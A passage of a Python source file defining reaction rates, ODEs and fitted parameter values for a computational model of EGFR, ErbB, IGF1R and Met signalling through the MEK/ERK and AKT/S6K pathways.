x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+\tx[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+\tx[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]* x[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[89] = (y[V.MEK]* x[C.MEK_phosphorylation_pErbB32]* y[V.pErbB32])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]*\t(x[C.AKT_activation_pEGFR]*\t\\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]* x[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+\tx[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]*\t(x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+\tx[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]*\t(x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[90] = (y[V.MEK]* x[C.MEK_phosphorylation_pMetd]* y[V.pMetd])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+\tx[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+ x[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]* x[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[91] = (y[V.MEK]* x[C.MEK_phosphorylation_pMetEGFR]* y[V.pMetEGFR])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+ x[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]*\t(x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+\tx[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n \n v[92] = (y[V.MEK]* x[C.MEK_phosphorylation_pIGF1R]* y[V.pIGF1Rd])/( 1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+ x[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+ x[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n \n v[93] = (y[V.MEK]* x[C.MEK_phosphorylation_pMetErbB3]* y[V.pMetErbB3])/ (1+ x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/ x[C.pErbB13_internalize])+ x[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+ x[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+\tx[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[94] = (y[V.MEK]* x[C.MEK_internIGF1R_effect]* x[C.MEK_phosphorylation_pIGF1R]* y[V.pIGF1Ri])/(1+x[C.feedback_pAKT]* (x[C.init_AKT]* (x[C.AKT_activation_pEGFR]* \\\n (x[C.EGFR_basal_activation]* x[C.init_EGFR]**2/ x[C.pEGFR_internalize])+ x[C.AKT_activation_pErbB12]* (x[C.EGFR_ErbB2_basal_act]* \\\n x[C.init_EGFR]*\tx[C.init_ErbB2]/ x[C.pErbB12_internalize])+ x[C.AKT_activation_pErbB13]* (x[C.EGFR_ErbB3_basal_act]* x[C.init_EGFR]* \\\n x[C.init_ErbB3]/x[C.pErbB13_internalize])+ x[C.AKT_activation_pErbB32]* (x[C.ErbB3_ErbB2_basal_act]* x[C.init_ErbB2]* x[C.init_ErbB3]/ \\\n x[C.pErbB32_internalize])+ x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* (x[C.IGF1R_basal_activation]* x[C.init_IGF1R]**2/ \\\n (x[C.init_RTKph]* x[C.pIGF1Ri_phosphatase]+ x[C.pIGF1R_degradation]))+ x[C.AKT_activation_pIGF1R]* (x[C.IGF1R_basal_activation]* \\\n x[C.init_IGF1R]**2/ x[C.pIGF1R_internalize])+ x[C.AKT_activation_pMetEGFR]* (x[C.Met_EGFR_basal_act]* x[C.init_EGFR]* x[C.init_Met]/ \\\n x[C.pMetEGFR_internalize])+ x[C.AKT_activation_pMetErbB3]* (x[C.Met_ErbB3_basal_act]* x[C.init_ErbB3]* x[C.init_Met]/ x[C.pMetErbB3_internalize])+ \\\n x[C.AKT_activation_pMetd]* (x[C.Met_basal_act]*\tx[C.init_Met]**2/ x[C.pMet_internalize]))/ (x[C.pAKT_deactivation]* (x[C.feedback_pERK_on_AKT]* \\\n x[C.init_pERK]+ x[C.feedback_pS6K1]* x[C.init_pS6K1]+ 1)))+ x[C.feedback_pERK]* y[V.pERK])\n\n v[95] = y[V.pMEK]* x[C.pMEK_dephosphorylation]\n\n v[96] = y[V.ERK]* x[C.ERK_phosphorylation_pMEK]* y[V.pMEK]\n v[97] = y[V.pERK]* x[C.pERK_dephosphorylation]\n \n ###AKT branch\n v[98] = (y[V.AKT]* x[C.AKT_activation_pEGFR]* y[V.pEGFRd])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[99] = (y[V.AKT]* x[C.AKT_activation_pErbB12]* y[V.pErbB12])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[100] = (y[V.AKT]* x[C.AKT_activation_pErbB13]* y[V.pErbB13])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[101] = (y[V.AKT]* x[C.AKT_activation_pErbB32]* y[V.pErbB32])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[102] = (y[V.AKT]* x[C.AKT_activation_pMetEGFR]* y[V.pMetEGFR])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[103] = (y[V.AKT]* x[C.AKT_activation_pMetd]* y[V.pMetd])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[104] = (y[V.AKT]* x[C.AKT_activation_pIGF1R]* y[V.pIGF1Rd])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[105] = (y[V.AKT]* x[C.AKT_activation_pMetErbB3]* y[V.pMetErbB3])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[106] = (y[V.AKT]* x[C.AKT_activation_pIGF1R]* x[C.AKT_internIGF1R_effect]* y[V.pIGF1Ri])/(x[C.feedback_pERK_on_AKT]* y[V.pERK] + x[C.feedback_pS6K1]* y[V.pS6K1] + 1)\n v[107] = y[V.pAKT]* x[C.pAKT_deactivation]\n\n ###GSK3-S6K-S6 \n v[108] = y[V.S6K1]* x[C.S6K1_phosphorylation_pAKT]* y[V.pAKT]\n v[109] = y[V.S6K1]* x[C.S6K1_phosphorylation_pERK]* y[V.pERK]\n v[110] = y[V.pS6K1]* x[C.pS6K1_dephosphorylation]\n\n v[111] = y[V.S6]* x[C.S6_phosphorylation_pS6K1]* y[V.pS6K1]\n v[112] = y[V.S6]* x[C.S6_phosphorylation_pERK]* y[V.pERK]\n v[113] = y[V.pS6]* x[C.pS6_dephosphorylation]\n\n #ODE of the law of the mass action\n dydt = [0]* V.NUM\n dydt[V.dose_EGF] = -v[6] + v[7]\n dydt[V.dose_HGF] = -v[14] + v[15]\n dydt[V.RTKph] = -v[43] + v[44] - v[47] + v[48] - v[53] + v[54] - v[58] + v[59] - v[63] + v[64] - v[67] + v[68] - v[71] + v[72] - v[75] + v[76] - v[80] + v[81] - v[84] + v[85] \n dydt[V.dose_IGF1] = - v[12] + v[13]\n dydt[V.dose_HRG] = -v[10] + v[11]\n dydt[V.dose_BTC] = -v[8] + v[9]\n dydt[V.EGFR] = v[1] - v[6] + v[7] - v[8] + v[9] - 2*v[32] - v[35] - v[36] - v[40] + v[45]\n dydt[V.EGFR_EGF] = v[6] - v[7] - 2*v[16] - v[21] - v[23] - v[30]\n dydt[V.EGFR_BTC] = v[8] - v[9] - 2*v[17] - v[22] - v[24] - v[25] - v[31]\n dydt[V.pEGFRd] = v[16] + v[17] + v[32] - v[41]\n dydt[V.pEGFRi] = v[41] - v[42] - v[43]\n dydt[V.pEGFRi_ph] = v[43] - v[44]\n dydt[V.EGFRi] = +2*v[44] - v[45] + v[64] + v[72] + v[85]\n dydt[V.ErbB2] = v[2] - 2*v[18] - v[21] - v[22] - v[26] - v[35] - v[37] + v[50]\n dydt[V.pErbB2] = v[18] - v[46]\n dydt[V.pErbB2i] = v[46] - v[47] - v[49]\n dydt[V.ErbB2i] = +2*v[48] - v[50] + v[64] + v[68]\n dydt[V.pErbB2i_ph] = v[47] - v[48]\n dydt[V.pErbB12] = v[21] + v[22] + v[35] - v[61]\n dydt[V.pErbB12i] = v[61] - v[62] - v[63]\n dydt[V.pErbB12i_ph] = v[63] - v[64]\n dydt[V.ErbB3] = v[3] - v[10] + v[11] - v[25] - 2*v[33] - v[36] - v[37] - v[38] + v[55]\n dydt[V.ErbB3_HRG] = v[10] - v[11] - 2*v[19] - v[23] - v[24] - v[26] - v[28] - v[29]\n dydt[V.pErbB3d] = v[19] + v[33] - v[51]\n dydt[V.pErbB3i] = v[51] - v[52] - v[53]\n dydt[V.pErbB3i_ph] = v[53] - v[54]\n dydt[V.ErbB3i] = +2*v[54] - v[55] + v[68] + v[72] + v[81]\n dydt[V.pErbB13] = v[23] + v[24] + v[25] + v[36] - v[69]\n dydt[V.pErbB13i] = v[69] - v[70] - v[71]\n dydt[V.pErbB13i_ph] = v[71] - v[72]\n dydt[V.pErbB32] = v[26] + v[37] - v[65]\n dydt[V.pErbB32i] = v[65] - v[66] - v[67]\n dydt[V.pErbB32i_ph] = v[67] - v[68]\n dydt[V.IGF1R] = v[4] - v[12] + v[13] -2*v[34] + v[60]\n dydt[V.IGF1R_IGF1] = v[12] - v[13] -2*v[20]\n dydt[V.pIGF1Rd] = v[20] + v[34] - v[56]\n dydt[V.pIGF1Ri] = v[56] - v[57] - v[58]\n dydt[V.pIGF1Ri_ph] = v[58] - v[59]\n dydt[V.IGF1Ri] = +2*v[59 ] - v[60]\n dydt[V.Met] = v[5] - v[14] + v[15] - v[28] - v[38] - 2*v[39] - v[40] + v[77]\n dydt[V.Met_HGF] = v[14] - v[15] - 2*v[27] - v[29] - v[30] - v[31]\n dydt[V.pMetd] = v[27] + v[39] - v[73]\n dydt[V.pMeti] = v[73] - v[74] - v[75]\n dydt[V.pMeti_ph] = v[75] - v[76]\n dydt[V.Meti] = +2*v[76] - v[77] + v[81] + v[85]\n dydt[V.pMetErbB3] = v[28] + v[29] + v[38] - v[78]\n dydt[V.pMetErbB3i] = v[78] - v[79] - v[80]\n dydt[V.pMetErbB3i_ph] = v[80] - v[81]\n dydt[V.pMetEGFR] = v[30] + v[31] + v[40] - v[82]\n dydt[V.pMetEGFRi] = v[82] - v[83] - v[84]\n dydt[V.pMetEGFRi_ph] = v[84] - v[85]\n dydt[V.MEK] = -v[86] - v[87] - v[88] - v[89] - v[90] - v[91] - v[92] - v[93] - v[94] + v[95]\n dydt[V.pMEK] = v[86] + v[87] + v[88] + v[89] + v[90] + v[91] + v[92] + v[93] + v[94] - v[95]\n dydt[V.ERK] = -v[96] + v[97]\n dydt[V.pERK] = v[96] - v[97]\n dydt[V.AKT] = -v[98] - v[99] - v[100] - v[101] - v[102] - v[103] - v[104] - v[105] - v[106] + v[107]\n dydt[V.pAKT] = v[98] + v[99] + v[100] + v[101] + v[102] + v[103] + v[104] + v[105] + v[106] - v[107]\n dydt[V.S6K1] = -v[108] - v[109] + v[110]\n dydt[V.pS6K1] = v[108] + v[109] - v[110]\n dydt[V.S6] = -v[111] - v[112] + v[113]\n dydt[V.pS6] = v[111] + v[112] - v[113]\n\n return dydt\n\n\ndef param_values():\n x = [0]*C.NUM\n # 1-82\n \n x[C.AKT_activation_pEGFR] = 1.00*10**(-5) \n x[C.AKT_activation_pErbB12] = 6.40*10**(-2) \n x[C.AKT_activation_pErbB13] = 1.31*10**(1)\n x[C.AKT_activation_pErbB32] = 5.61*10**(-1)\n x[C.AKT_activation_pIGF1R] = 6.85*10**(-1)\n #x[C.AKT_activatio_pMetEGFR] = 1.00*10**(-5)\n x[C.AKT_activation_pMetErbB3] = 3.70*10**(-2)\n x[C.AKT_activation_pMetd] = 8.96*10**(-1)\n x[C.AKT_internIGF1R_effect] = 1.02*10**(-5)\n x[C.EGFR_BTC_binding] = 2.24*10**(-5)\n x[C.EGFR_BTC_dimerize] = 1.00*10**(3)\n x[C.EGFR_ErbB2_BTC_dimerize] = 1.61*10**(0)\n x[C.EGFR_ErbB2_basal_act] = 1.00*10**(-5)\n x[C.EGFR_ErbB2_dimerize] = 1.57*10**(-2)\n x[C.EGFR_ErbB3_BTC_dimerize] = 3.52*10**(-2)\n x[C.EGFR_ErbB3_basal_act] = 7.51*10**(-4)\n x[C.EGFR_ErbB3_dimerize] = 1.18*10**(-3)\n x[C.EGFR_ErbB3_dimerize_noHRG] = 1.00*10**(-5)\n x[C.EGFR_basal_activation] = 1.00*10**(-5)\n x[C.EGFR_basal_recycle] = 5.19*10**(5)\n x[C.EGFR_dimerize] = 6.30*10**(-2)\n x[C.EGFR_lig_binding] = 1.89*10**(-5)\n x[C.EGF_kD] = 1.00*10**(0)\n x[C.ERK_phosphorylation_pMEK] = 2.58*10**(-4)\n x[C.ErbB2_ErbB3_dimerize] = 3.03*10**(-2)\n x[C.ErbB2_dimerize] = 6.79*10**(-3)\n x[C.ErbB2_recycle] = 6.57*10**(-3)\n x[C.ErbB3_ErbB2_basal_act] = 1.00*10**(-5)\n x[C.ErbB3_basal_activation] = 2.93*10**(-2)\n x[C.ErbB3_basal_recycle] = 7.37*10**(-1)\n x[C.ErbB3_dimerize] = 4.46*10**(-2)\n x[C.ErbB3_lig_binding] = 5.71*10**(-5)\n x[C.HGF_kD] = 3.00*10**(-1)\n x[C.HRG_kD] = 5.00*10**(-2)\n x[C.IGF1R_basal_activation] = 1.17*10**(-3)\n x[C.IGF1R_basal_recycle] = 1.00*10**(3)\n x[C.IGF1R_dimerize] = 1.71*10**(1)\n x[C.IGF1R_lig_binding] = 1.53*10**(-3)\n x[C.IGF1_kD] = 3.00*10**(-1)\n x[C.MEK_internIGF1R_effect] = 1.00*10**(-5)\n x[C.MEK_phosphorylation_pEGFR] = 1.00*10**(-5)\n x[C.MEK_phosphorylation_pErbB12] = 2.74*10**(-1)\n x[C.MEK_phosphorylation_pErbB13] = 1.00*10**(-5)\n x[C.MEK_phosphorylation_pErbB32] = 6.06*10**(-2)\n x[C.MEK_phosphorylation_pIGF1R] = 2.99*10**(-2)\n x[C.MEK_phosphorylation_pMetEGFR] = 1.00*10**(-5)\n x[C.MEK_phosphorylation_pMetErbB3] = 3.83*10**(-2)\n x[C.MEK_phosphorylation_pMetd] = 1.88*10**(0)\n x[C.Met_EGFR_BTC_dimerize] = 1.11*10**(-2)\n x[C.Met_EGFR_basal_act] = 1.75*10**(-5)\n x[C.Met_EGFR_dimerize] = 5.13*10**(-4)\n x[C.Met_ErbB3_basal_act] = 3.29*10**(0)\n x[C.Met_ErbB3_dimerize] = 3.71*10**(-2)\n x[C.Met_basal_act] = 1.00*10**(-5)\n x[C.Met_dimerize] = 9.17*10**(-3)\n x[C.Met_lig_ErbB3_dimerize] = 5.67*10**(2)\n x[C.Met_lig_binding] = 4.52*10**(-3)\n x[C.Met_recycle] = 5.42*10**(-1)\n x[C.S6K1_phosphorylation_pAKT] = 2.50*10**(-1)\n x[C.S6K1_phosphorylation_pERK] = 1.07*10**(-5)\n x[C.S6_phosphorylation_pERK] = 1.00*10**(-5) #\n x[C.S6_phosphorylation_pS6K1] = 8.57*10**(-3) #\n x[C.feedback_pAKT] = 1.06*10**(-5)\n x[C.feedback_pERK] = 1.00*10**(3)\n x[C.feedback_pERK_on_AKT] = 1.00*10**(-5)\n x[C.feedback_pS6K1] = 2.09*10**(-5)\n x[C.init_AKT] = 2.71*10**(0)\n x[C.init_EGFR] = 1.79*10**(1)\n #x[C.init_EGFR_BTC] = 0.00*10**(0)\n x[C.init_EGFR_EGF] = 0.00*10**(0)\n x[C.init_ErbB2] = 5.70*10**(0)\n x[C.init_ErbB3] = 2.48*10**(0)\n x[C.init_ErbB3_HRG] = 0.00*10**(0)\n x[C.init_IGF1R] = 4.73*10**(0)\n x[C.init_IGF1R_IGF1] = 0.00*10**(0)\n x[C.init_MEK] = 4.24*10**(0)\n x[C.init_Met] = 7.90*10**(0)\n x[C.init_Met_HGF] = 0.00*10**(0)\n x[C.init_RTKph] = 6.19*10**(-1)\n x[C.init_S6] = 1.46*10**(2)\n x[C.init_pERK] = 3.34*10**(-1)\n x[C.init_pS6K1] = 1.24*10**(-3)\n\n #251-326\n x[C.pAKT_deactivation] = 3.03*10**(-1)\n x[C.pEGFR_degradation] = 1.00*10**(-5)\n x[C.pEGFR_internalize] = 6.23*10**(0)\n x[C.pEGFR_phosphatase_binding] = 1.85*10**(2)\n x[C.pEGFRi_dephosph] = 2.17*10**(1)\n x[C.pERK_dephosphorylation] = 5.43*10**(-1)\n x[C.pErbB12_degradation] = 1.82*10**(-1)\n x[C.pErbB12_internalize] = 1.90*10**(0)\n x[C.pErbB12i_dephosph] = 1.00*10**(3)\n x[C.pErbB12i_phosphatase] = 8.45*10**(-1)\n x[C.pErbB13_degradation] = 4.97*10**(1)\n x[C.pErbB13_internalize] = 1.00*10**(3)\n x[C.pErbB13i_dephosph] = 5.84*10**(1)\n x[C.pErbB13i_phosphatase] = 1.60*10**(-5)\n x[C.pErbB2_degradation] = 3.19*10**(2)\n x[C.pErbB2_internalize] = 1.00*10**(3)\n x[C.pErbB2i_dephosph] = 8.24*10**(0)\n x[C.pErbB2i_phosphatase] = 1.00*10**(3)\n x[C.pErbB32_degradation] = 5.74*10**(-1)\n x[C.pErbB32_internalize] = 1.09*10**(0)\n x[C.pErbB32i_dephosph] = 1.19*10**(-2)\n x[C.pErbB32i_phosphatase] = 4.88*10**(-2)\n x[C.pErbB3_degradation] = 9.08*10**(-1)\n x[C.pErbB3_internalize] = 1.00*10**(3)\n x[C.pErbB3i_dephosph] = 1.63*10**(1)\n x[C.pErbB3i_phosphatase] = .22*10**(1)\n x[C.pIGF1R_degradation] = 1.00*10**(-5)\n x[C.pIGF1R_internalize] = 1.00*10**(3)\n x[C.pIGF1Ri_dephosph] = 3.32*10**(2)\n x[C.pIGF1Ri_phosphatase] = 1.00*10**(3)\n x[C.pMEK_dephosphorylation] = 3.28*10**(-1)\n x[C.pMetEGFR_degradation] = 1.43*10**(0)\n x[C.pMetEGFR_internalize] = 1.33*10**(0)\n x[C.pMetEGFRi_dephosph] = 5.04*10**(-1)\n x[C.pMetEGFRi_phosphatase] = 3.57*10**(-5)\n x[C.pMetErbB3_degradation] = 9.84*10**(2)\n x[C.pMetErbB3_internalize] = 1.00*10**(3)\n x[C.pMetErbB3i_dephosph] = 1.00*10**(3)\n x[C.pMetErbB3i_phosphatase] = 1.00*10**(3)\n x[C.pMet_degradation] = 1.91*10**(0)\n x[C.pMet_internalize] = 1.00*10**(3)\n x[C.pMeti_dephosph] = 1.30*10**(1)\n x[C.pMeti_phosphatase] = 1.00*10**(3)\n x[C.pS6K1_dephosphorylation] = 1.03*10**(-2)\n x[C.pS6_dephosphorylation] = 1.19*10**(-1) #\n #x[C.relto_A431_init_EGFR] = 9.63*10**(0)\n #x[C.relto_A431_init_ErbB2] = 1.00*10**(0)\n '''\n x[C.relto_A431_init_ErbB3] = 9.11*10**(-1)\n x[C.relto_A431_init_IGF1R] = 2.65*10**(0)\n x[C.relto_A431_init_Met] = 2.24*10**(-1)\n x[C.relto_ACHN_init_EGFR] = 5.40*10**(0)\n x[C.relto_ACHN_init_ErbB2] = 7.33*10**(-1)\n x[C.relto_ACHN_init_ErbB3] = 4.46*10**(-1)\n x[C.relto_ACHN_init_IGF1R] = 7.03*10**(-1)\n x[C.relto_ACHN_init_Met] = 1.29*10**(0)\n x[C.relto_ADRr_init_EGFR] = 1.03*10**(0)\n x[C.relto_ADRr_init_ErbB2] = 1.07*10**(0)\n x[C.relto_ADRr_init_ErbB3] = 5.74*10**(-1)\n x[C.relto_ADRr_init_IGF1R] = 2.02*10**(0)\n x[C.relto_ADRr_init_Met] = 4.82*10**(-1)\n x[C.relto_BT20_init_EGFR] = 1.05*10**(1)\n x[C.relto_BT20_init_ErbB2] = 1.50*10**(0)\n x[C.relto_BT20_init_ErbB3] = 1.85*10**(0)\n x[C.relto_BT20_init_IGF1R] = 3.55*10**(0)\n x[C.relto_BT20_init_Met] = 3.82*10**(-1)\n x[C.relto_IGROV_init_EGFR] = 9.41*10**(-1)\n x[C.relto_IGROV_init_ErbB2] = 4.25*10**(0)\n x[C.relto_IGROV_init_ErbB3] = 5.76*10**(-1)\n x[C.relto_IGROV_init_IGF1R] = 1.59*10**(-1)\n x[C.relto_IGROV_init_Met] = 6.42*10**(-1)\n x[C.relto_init_EGFR] = 1.83*10**(0)\n x[C.relto_init_ErbB2] = 6.07*10**(-1)\n x[C.relto_init_ErbB3] = 1.04*10**(0)\n x[C.relto_init_IGF1R] = 